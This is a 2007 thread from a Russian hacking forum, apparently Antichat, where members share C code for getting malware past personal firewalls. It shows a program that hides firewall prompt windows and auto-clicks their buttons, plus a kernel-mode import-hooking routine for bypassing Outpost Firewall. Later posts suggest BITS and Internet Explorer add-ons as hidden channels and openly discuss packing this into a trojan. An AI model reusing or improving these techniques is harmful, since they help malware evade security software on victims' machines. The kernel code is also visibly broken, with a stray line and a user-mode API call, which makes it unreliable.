Войти или зарегистрироваться
Выберите удобный способ — аккаунт создастся автоматически.
Или войдите по логину и паролю
 |
|

30.06.2007, 21:36
|
|
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами:
10885346
Репутация:
2947
|
|
эмм.. на днях кой чего накидал... мб кому пригодится...
уровень кодинга у меня неважный.. но вообщем зацените...
Код:
#include <windows.h>
#include <conio.h>
DWORD WINAPI ThreadFunc(LPVOID lpParam)
{
while(10)
{
HWND opf;
HWND wbm;
wbm=FindWindow("#32770",0);
ShowWindow(wbm,SW_HIDE);
SendMessage(wbm,WM_COMMAND,BN_CLICKED|104,0);
opf=FindWindow("#32770",0);
ShowWindow(opf,SW_HIDE);
CheckDlgButton(opf,1007,0);
CheckDlgButton(opf,1006,1);
SendMessage(opf,WM_COMMAND,BN_CLICKED|1055,0);
opf=FindWindowEx(opf,0,0,"OK");
SendMessage(opf,BM_CLICK,0,0);
}
return 0;
}
int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,LPSTR lpCmdLine, int nCmdShow)
{
DWORD dwThreadId, dwThrdParam = 1;
HANDLE hThread;
hThread = CreateThread(NULL,0,ThreadFunc,&dwThrdParam,0,&dwThreadId);
if (hThread != NULL)
{
_getch();
CloseHandle( hThread );
}
sleep(10);
return 1;
}
|
|
|

30.06.2007, 21:55
|
|
Постоянный
Регистрация: 03.02.2007
Сообщений: 520
С нами:
10140806
Репутация:
932
|
|
Обход Outpost Firewall 3.x и 4.0 в Kernel mode (C) wasm.ru
Код:
static
void HookImport(
IN PVOID Image,
IN PVOID Handler,
IN PVOID NewHandler
)
{
PIMAGE_DOS_HEADER dHeader = Image;
PIMAGE_NT_HEADERS ntHeaders = RVATOVA(Image, dHeader->e_lfanew);
ULONG ImpRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress;
if (ImpRVA)
{
PIMAGE_IMPORT_DESCRIPTOR ImpDesc = RVATOVA(Image, ImpRVA);
while (ImpDesc->Name)
{
PIMAGE_THUNK_DATA Import;
Import = RVATOVA(Image, ImpDesc->FirstThunk);
while (Import->AddressOfData)
{
PIMAGE_IMPORT_BY_NAME ImpName = RVATOVA(Image, Import->AddressOfData);
if (Import->Function == (ULONG)Handler)
{
Import->Function = (ULONG)NewHandler;
}
Import++;
}
ImpDesc++;
}
}
}
static
PEPROCESS
NewIoGetCurrentProcess()
{
PEPROCESS Process = IoGetCurrentProcess();
if (Process == UserProcess) Process = PsInitialSystemProcess;
return Process;
}
void InitFwb(void)
{
PVOID Image = GetModuleHandle("filtnt.sys");
]extern P
if (Image)
{
HookImport(Image, IoGetCurrentProcess, NewIoGetCurrentProcess);
}
}
|
|
|

30.06.2007, 23:35
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
С нами:
9948928
Репутация:
208
|
|
2Кузьмич, этот код ставит свои хуки на уровне ядра?
|
|
|

01.07.2007, 00:08
|
|
Участник форума
Регистрация: 14.03.2005
Сообщений: 267
С нами:
11135846
Репутация:
545
|
|
razzzar, а что, можно так сделать в user-mode, да?
что за ебанутый код
PVOID Image = GetModuleHandle("filtnt.sys");
GetModuleHandleA никогда не будет работать в kernel mode
|
|
|

01.07.2007, 00:10
|
|
Флудер
Регистрация: 27.12.2005
Сообщений: 2,372
С нами:
10721066
Репутация:
4360
|
|
Ky3bMu4 лол=) Кернел моде  ) А че там делает GetModuleHandle? )
slider, боян)
|
|
|

01.07.2007, 00:15
|
|
Members of Antichat - Level 5
Регистрация: 04.09.2005
Сообщений: 528
С нами:
10885346
Репутация:
2947
|
|
_Great_
Есль чесн я боялся что ты на сам код ругаться будешь....
p.s но так... работает же! ))
|
|
|

03.07.2007, 01:28
|
|
Постоянный
Регистрация: 27.08.2006
Сообщений: 367
С нами:
10370602
Репутация:
472
|
|
забыли упомянуть самый простой вариант - реализация своего Tcp/ip стека 
также можете юзать Bits, примеров хватает
|
|
|

03.07.2007, 01:32
|
|
Участник форума
Регистрация: 16.06.2007
Сообщений: 107
С нами:
9948928
Репутация:
208
|
|
у меня тут вопрос один созрел:
чтобы соединится с сервером обычным connect(); обходя фаервол надо сделать такое:
1. найти адресс ядерных функций, которые перехватывает фаервол
2. найти адресса оригиналов
3. снять хуки
?
или можно сделать вариант с SDT? или СДТ работает толья для инжекта?
|
|
|

03.07.2007, 09:30
|
|
Познающий
Регистрация: 08.07.2005
Сообщений: 47
С нами:
10968492
Репутация:
65
|
|
Дурдом какой-то.
В теории ведь все фаеры юзают хуки на функции и, посему, снятием их - перестают палить? Или я неправ?
З.Ы. А вообще, ИМХО, на данный момент - Bits это самое перспективное. Тестили мы его - никто вааще пока походу не ловит.
|
|
|

03.07.2007, 10:08
|
|
Banned
Регистрация: 18.05.2005
Сообщений: 1,981
С нами:
11042306
Репутация:
2726
|
|
у меня тут вопрос один созрел:
чтобы соединится с сервером обычным connect(); обходя фаервол надо сделать такое:
1. найти адресс ядерных функций, которые перехватывает фаервол
2. найти адресса оригиналов
3. снять хуки
?
или можно сделать вариант с SDT? или СДТ работает толья для инжекта?
советую учить делфи. пока ситуация ещё под контролем
В теории ведь все фаеры юзают хуки на функции и, посему, снятием их - перестают палить? Или я неправ?
аналогично
Фаерволы могут использовать огромное количество колец защиты, в том числе NDIS-перехват, хуки на устройства tcp,udp, перехват в usermode всевозможных dns-резольвов, и ещё кучи всего, подгружая dll к вашему процессу, ещё хуки на ядерные ф-ии, на запуск специфичного кода (например, на ZwOpenSection и ZwLoadDriver), что не даст вам даже поставить драйвер или выполнить код в kernel mode через колгейт, ещё они могут детектить всевозможные записи в реестр, даже использовать ipfw, и ещё кучу кучу всего, причем часто - взаимозапутаные)
если вы думаете что разработчики фаерволов полные лохи, которые не знают как их фаервол потом можно будет обойти - вы очень, очень очень глубоко ошибаетесь
так что товарищи, интерисующиеся, если ли в ядре ф-ия connect() и можно ли "снять хук в ядре с функции connect()" и тому подобными вопросами - просто знайте что всё намно-ооооо-го сложнее.
мне как-то посденее время все заморочки с драйверами не особо нравятся. есть способы нормальные. все они основаны в основном на COM который я очень нелюблю.
можно просто заставить IE слать что надо через использование BHO. (для Great : именно H вторая буква а не D!)) Если IE запрещен - тогда хули, неповезло.
_Great_
Есль чесн я боялся что ты на сам код ругаться будешь....
p.s но так... работает же! ))
что у тебя там работает) может на твоем настроеном аутпосте какой-то там версии это и работает. но если надо это запихнуть в троян - ещё придется просить юзера поставить аутпост определенного языка, настроить режим "обучающий", и вообще попросить сделать так чтоб вылазало именно то окошко, в котором кнопочки нажимаем
Последний раз редактировалось KEZ; 03.07.2007 в 10:21..
|
|
|
|
 |
|
Предыдущая тема
Следующая тема
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|